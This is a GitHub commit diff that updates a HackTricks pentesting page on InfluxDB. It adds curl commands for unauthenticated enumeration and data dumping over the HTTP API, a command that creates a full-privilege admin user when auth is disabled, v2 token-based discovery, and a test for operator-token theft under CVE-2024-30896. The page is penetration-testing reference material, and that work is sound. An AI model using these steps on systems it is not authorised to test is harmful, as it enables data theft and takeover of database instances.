Skip to content

Commit 36ffb70

Browse files
authored
Merge pull request #1526 from HackTricks-wiki/research_update_src_network-services-pentesting_8086-pentesting-influxdb_20251027_082736
Research Update Enhanced src/network-services-pentesting/808...
2 parents 95ad5ee + a2ebf93 commit 36ffb70

File tree

1 file changed

+110
-7
lines changed

1 file changed

+110
-7
lines changed

src/network-services-pentesting/8086-pentesting-influxdb.md

Lines changed: 110 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,21 @@ PORT STATE SERVICE VERSION
1313
8086/tcp open http InfluxDB http admin 1.7.5
1414
```
1515

16+
## Identify & Version (HTTP)
17+
18+
- v1.x: `GET /ping` returns status 204 and headers like `X-Influxdb-Version` and `X-Influxdb-Build`.
19+
- v2.x+: `GET /health` returns JSON with the server version and status. Works without auth.
20+
21+
```bash
22+
# v1 banner grab
23+
curl -i http://<host>:8086/ping
24+
25+
# v2/compat health
26+
curl -s http://<host>:8086/health | jq .
27+
```
28+
29+
Tip: exposed instances often also serve Prometheus-style metrics at `/metrics`.
30+
1631
## Enumeration
1732

1833
From a pentester point of view this another database that could be storing sensitive information, so it's interesting to know how to dump all the info.
@@ -22,8 +37,8 @@ From a pentester point of view this another database that could be storing sensi
2237
InfluxDB might require authentication or not
2338

2439
```bash
25-
# Try unauthenticated
26-
influx -host 'host name' -port 'port #'
40+
# Try unauthenticated CLI (v1 shell)
41+
influx -host <host> -port 8086
2742
> use _internal
2843
```
2944

@@ -35,9 +50,50 @@ influx –username influx –password influx_pass
3550

3651
There was a vulnerability influxdb that allowed to bypass the authentication: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933)
3752

38-
### Manual Enumeration
53+
### Manual Enumeration (v1 HTTP API / InfluxQL)
54+
55+
Even when no CLI is available, the HTTP API is usually exposed on port 8086.
56+
57+
```bash
58+
# List databases (unauth)
59+
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"
60+
61+
# List retention policies of a DB
62+
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"
63+
64+
# List users (if auth disabled)
65+
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"
3966

40-
The information of this example was taken from [**here**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/).
67+
# List measurements (tables)
68+
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"
69+
70+
# List field keys (columns)
71+
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"
72+
73+
# Dump data from a measurement
74+
curl -sG "http://<host>:8086/query" \
75+
--data-urlencode "db=telegraf" \
76+
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .
77+
78+
# Force epoch timestamps (useful for tooling)
79+
curl -sG "http://<host>:8086/query" \
80+
--data-urlencode "epoch=ns" \
81+
--data-urlencode "db=telegraf" \
82+
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'
83+
```
84+
85+
> [!WARNING]
86+
> In some testing with the authentication bypass it was noted that the name of the table needed to be between double quotes like: `select * from "cpu"`
87+
88+
If authentication is disabled, you can even create users and escalate:
89+
90+
```bash
91+
# Create an admin user (v1, auth disabled)
92+
curl -sG "http://<host>:8086/query" \
93+
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"
94+
```
95+
96+
The information of the following CLI example was taken from [**here**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/).
4197

4298
#### Show databases
4399

@@ -109,13 +165,60 @@ time cpu host usage_guest usage_guest_nice usage_idle
109165
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
110166
```
111167
112-
> [!WARNING]
113-
> In some testing with the authentication bypass it was noted that the name of the table needed to be between double quotes like: `select * from "cpu"`
168+
### InfluxDB v2.x API (Token-based)
169+
170+
InfluxDB 2.x introduces token-based auth and a new API (still on 8086 by default). If you obtain a token (leaked logs, default deployments, backups) you can enumerate:
171+
172+
```bash
173+
# Basic org, bucket, and auth discovery
174+
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"
175+
176+
# Health & version
177+
curl -s http://<host>:8086/health | jq .
178+
179+
# List organizations
180+
curl -s $H http://<host>:8086/api/v2/organizations | jq .
181+
182+
# List buckets
183+
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .
184+
185+
# List authorizations (requires perms)
186+
ORGID=<org_id>
187+
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .
188+
189+
# Query data with Flux
190+
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
191+
-X POST http://<host>:8086/api/v2/query \
192+
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'
193+
```
194+
195+
Notes
196+
- For v1.8+, some v2-compatible endpoints exist (`/api/v2/query`, `/api/v2/write`, `/health`). This is useful if the server is v1 but accepts v2-style requests.
197+
- In v2, the HTTP `Authorization` header must be in the form `Token <value>`.
114198
115-
### Automated Authentication
199+
### Automated Enumeration
116200
117201
```bash
118202
msf6 > use auxiliary/scanner/http/influxdb_enum
119203
```
120204
205+
### Recent vulns and privesc of interest (last years)
206+
207+
- InfluxDB OSS 2.x through 2.7.11 operator token exposure (CVE-2024-30896). Under specific conditions, an authenticated user with read access to the authorization resource in the default organization could list and retrieve the instance-wide operator token (e.g., via `influx auth ls` or `GET /api/v2/authorizations`). With that token, the attacker can administrate the instance (buckets, tokens, users) and access all data across orgs. Upgrade to a fixed build when available and avoid placing regular users in the default org. Quick test:
208+
209+
```bash
210+
# Using a low-priv/all-access token tied to the default org
211+
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
212+
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
213+
# Look for entries of type "operator" and extract the raw token (if present)
214+
```
215+
216+
- Many legacy 1.x deployments still expose `/query` and `/write` unauthenticated on the Internet. If auth is disabled, you can dump or even modify time-series at will; you may also create admin users as shown above. Always verify with the HTTP API even if the CLI blocks you.
217+
218+
219+
220+
## References
221+
222+
- InfluxData docs: InfluxDB v1/v2 HTTP API reference (endpoints like `/ping`, `/health`, `/query`, `/api/v2/authorizations`). <https://docs.influxdata.com/influxdb/v1/tools/api/>
223+
- CVE-2024-30896 operator token exposure in InfluxDB OSS 2.x. <https://www.wiz.io/vulnerability-database/cve/cve-2024-30896>
121224
{{#include ../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)